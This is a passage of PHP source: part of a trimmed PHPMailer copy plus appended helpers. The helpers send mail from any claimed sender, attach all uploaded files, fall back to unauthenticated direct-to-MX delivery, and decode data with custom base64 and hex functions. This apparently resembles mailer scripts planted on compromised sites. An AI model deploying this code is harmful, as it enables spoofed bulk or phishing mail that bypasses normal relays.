                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // catch case 'plain' and case ''
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                break;
        }
        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                if (@openssl_pkcs7_sign(
                    $file,
                    $signed,
                    'file://' . realpath($this->sign_cert_file),
                    array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                    null
                )
                ) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;
        return $result;
    }
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            $this->message_type = 'plain';
        }
    }
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }
    public function textLine($value)
    {
        return $value . $this->LE;
    }
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }
            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }
            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }
            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }
    public function getAttachments()
    {
        return $this->attachment;
    }
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();
        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }
                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && isset($cidUniq[$cid])) {
                    continue;
                }
                $cidUniq[$cid] = true;
                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                $mime[] = sprintf(
                    'Content-Type: %s; name="%s"%s',
                    $type,
                    $this->encodeHeader($this->secureHeader($name)),
                    $this->LE
                );
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }
                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }
                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename=%s%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    }
                } else {
                    $mime[] = $this->LE;
                }
                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }
        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
        return implode('', $mime);
    }
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!is_readable($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = get_magic_quotes_runtime();
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    ini_set('magic_quotes_runtime', 0);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }
        if ($matchcount == 0) { // There are no chars that need encoding
            return ($str);
        }
        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }
        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));
        return $encoded;
    }

    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }
        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);
        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }
        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    public function encodeQP($string, $line_max = 76)
    {
        if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
            return $this->fixEOL(quoted_printable_encode($string));
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
        return $this->fixEOL($string);
    }

    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
            case 'text':
            default:
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }
        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '') {
            $type = self::filenameToType($name);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
    }
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
    }
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
    }
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
    }

    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
    }
    public function clearAttachments()
    {
        $this->attachment = array();
    }
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
                $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
            }
        }
        $this->ErrorInfo = $msg;
    }
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }
        if (isset($this->language[$key])) {
            return $this->language[$key];
        } else {
            return 'Language string failed to load: ' . $key;
        }
    }
    public function isError()
    {
        return ($this->error_count > 0);
    }
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (isset($images[2])) {
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ',')+1);
                    if ($match[2]) {
                        $data = b64d($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                } elseif (!preg_match('#^[A-z]+://#', $url)) {
                    // Do not change urls for absolute images (thanks to corvuscorax)
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                        $basedir .= '/';
                    }
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (empty($this->AltBody)) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(custom_strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
        );
        return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
    }

    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }
    public function set($name, $value = '')
    {
        try {
            if (isset($this->$name)) {
                $this->$name = $value;
            } else {
                throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
            }
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            if ($exc->getCode() == self::STOP_CRITICAL) {
                return false;
            }
        }
        return true;
    }

    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    public function sign($cert_filename, $key_filename, $key_pass)
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
    }
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
            }
            return '';
        }
        $privKeyStr = file_get_contents($this->DKIM_private);
        if ($this->DKIM_passphrase != '') {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = $privKeyStr;
        }
        if (openssl_sign($signHeader, $signature, $privKey)) {
            return base64_encode($signature);
        }
        return '';
    }
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } else {
                if ($current && strpos($header, ' =?') === 0) {
                    $current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
        $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }
    public function getToAddresses()
    {
        return $this->to;
    }

    public function getCcAddresses()
    {
        return $this->cc;
    }

    public function getBccAddresses()
    {
        return $this->bcc;
    }

    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}
class phpmailerException extends Exception
{
    public function errorMessage()
    {
        $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
        return $errorMsg;
    }
}

/////////////////////////////////////////////////////////////////
function sendSmtpMail($from_email, $from_name, $to, $subject, $body, $type)
{
    $mail = new PHPMailer();
    $mail->isMail();
    $mail->CharSet = 'utf-8';
    $mail->SetFrom($from_email, $from_name);
    $mail->AddAddress($to);
    $mail->Subject = $subject;

    if ($type == "1")
    {
        $mail->MsgHTML($body);
    }
    elseif ($type == "2")
    {
        $mail->isHTML(false);
        $mail->Body = $body;
    }

    if (isset($_FILES))
    {
        foreach($_FILES as $key => $file)
        {
                $mail->addAttachment($file['tmp_name'], $file['name']);
        }
    }

    if (!$mail->send())
    {
        $to_domain = explode("@", $to);
        $to_domain = $to_domain[1];
        $mail->IsSMTP();
        $mail->Host       = mx_lookup($to_domain);
        $mail->Port       = 25;
        $mail->SMTPAuth   = false;
        if (!$mail->send())
        {
            return Array(0, $mail->ErrorInfo);
        }
        else
        {
            return Array(2, 0);
        }
    }
    else
    {
        return Array(1, 0);
    }
}

function mx_lookup($hostname)
{
    @getmxrr($hostname, $mxhosts, $precedence);
    if(count($mxhosts) === 0) return '127.0.0.1';
    $position = array_keys($precedence, min($precedence));
    return $mxhosts[$position[0]];
}
function myhex2bin( $str ) {
    $sbin = "";
    $len = strlen( $str );
    for ( $i = 0; $i < $len; $i += 2 ) {
        $sbin .= pack( "H*", substr( $str, $i, 2 ) );
    }
    return $sbin;
}

function b64d($input) {
    $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    $chr1 = $chr2 = $chr3 = "";
    $enc1 = $enc2 = $enc3 = $enc4 = "";
    $i = 0;
    $output = "";

    $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);
    do {
        $enc1 = strpos($keyStr, substr($input, $i++, 1));
        $enc2 = strpos($keyStr, substr($input, $i++, 1));
        $enc3 = strpos($keyStr, substr($input, $i++, 1));
        $enc4 = strpos($keyStr, substr($input, $i++, 1));
        $chr1 = ($enc1 << 2) | ($enc2 >> 4);
        $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
        $chr3 = (($enc3 & 3) << 6) | $enc4;
        $output = $output . chr((int) $chr1);
        if ($enc3 != 64) {
            $output = $output . chr((int) $chr2);
        }
        if ($enc4 != 64) {
            $output = $output . chr((int) $chr3);
        }
